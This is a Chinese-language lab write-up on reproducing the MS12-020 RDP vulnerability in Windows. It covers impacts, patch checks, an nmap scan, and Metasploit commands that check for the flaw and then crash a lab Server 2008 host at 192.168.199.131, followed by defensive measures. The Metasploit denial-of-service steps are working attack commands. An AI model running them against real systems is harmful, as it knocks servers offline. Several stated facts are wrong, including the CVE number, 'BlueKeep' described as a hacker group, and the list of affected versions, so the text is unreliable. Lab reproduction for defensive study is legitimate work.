ms12-020漏洞复现
1.1MS12-020简介
MS12-020 漏洞是微软在2012年发布的一个安全更新所修复的漏洞,它涉及到Windows操作系统的远程桌面协议(RDP)。该漏洞编号为CVE-2012-0003,属于远程代码执行(RCE)类型,允许未经认证的攻击者通过发送特制的RDP数据包到开启了RDP服务的目标系统上来执行任意代码。
1.1.1具体危害
1.远程代码执行(RCE)
攻击者可发送特制RDP数据包,触发内存处理错误,在目标系统上执行任意代码,获得SYSTEM级权限,从而完全控制系统(安装程序、窃取数据、创建账户等)367。此危害级别最高,但实际稳定利用难度较大,需精准绕过安全机制。
2.系统崩溃与蓝屏(DoS)
更常见的危害是触发死亡蓝屏(BSOD),导致系统崩溃重启。此攻击成功率极高,可瘫痪关键服务器或工作站。例如,Metasploit的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块专用于此类攻击。
3.敏感数据泄露
成功利用RCE后,攻击者可访问系统内所有文件、凭证、数据库等敏感信息。历史案例显示,该漏洞曾导致美国RSA安全公司技术秘密被盗。
4.大规模传播风险
漏洞影响几乎所有主流Windows版本(XP/Vista/7/8、Server 2003/2008/2012等)。2019年黑客组织“BlueKeep”仍利用此漏洞在互联网扩散恶意软件。
危害类型 严重程度 具体影响 利用难度
远程代码执行 ⚠️ 极高 系统完全沦陷,数据泄露 高
系统崩溃/蓝屏 ⚠️ 高 服务中断,系统瘫痪 低
敏感数据泄露 ⚠️ 高 凭证、文件、数据库等被窃取 中
蠕虫传播 ⚠️ 中 内网横向渗透,大规模感染 中
1.1.2漏洞排查
systeminfo | findstr “KB2621440”
systeminfo | findstr “KB2667402”
1.2漏洞利用
1.2.1实验条件
1.被攻击目标
内网IP地址:192.168.199.131 server2008 未修补漏洞
2.攻击环境
kali环境。
1.2.2扫描目标服务器端口
1.扫描目标端口
nmap -Pn 192.168.199.131
1.2.3漏洞检测
1.msf下搜索ms12-020关键字
search ms12-020
2.使用模块进行检查
(1)use auxiliary/scanner/rdp/ms12_020_check
(2)info 查看信息
(3)配置被攻击服务器IP
set RHOSTS 192.168.199.131
(4)漏洞可利用检查
1.2.4Dos攻击
1.执行以下命令
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.199.131
run
结果如下图所示
1.3防护措施
1.安装官方补丁
微软补丁KB2621440(下载链接)。https://learn.microsoft.com/zh-cn/security-updates/SecurityBulletins/2012/ms12-020
2.加固RDP服务
启用网络级身份验证(NLA):要求连接前先验证用户身份。
关闭“允许任意版本远程桌面连接”,限制可信IP访问。
3.减少攻击面
关闭不必要的3389端口,或通过VPN访问RDP。
配置防火墙规则,禁止公网访问3389。
4.主动监控
使用IDS/IPS检测异常RDP数据包(如大量MS_T120信道请求)。
1.4总结
MS12-020因其影响范围广、利用工具成熟,成为内网渗透的经典漏洞。尽管补丁已发布多年,未修复的系统(如老旧服务器、工控设备)仍面临极高风险。防御核心是关闭非必要RDP服务+强制身份验证,同时通过补丁彻底消除隐患。对于安全人员,该漏洞复现需在授权环境下进行,避免对生产系统造成不可逆损害。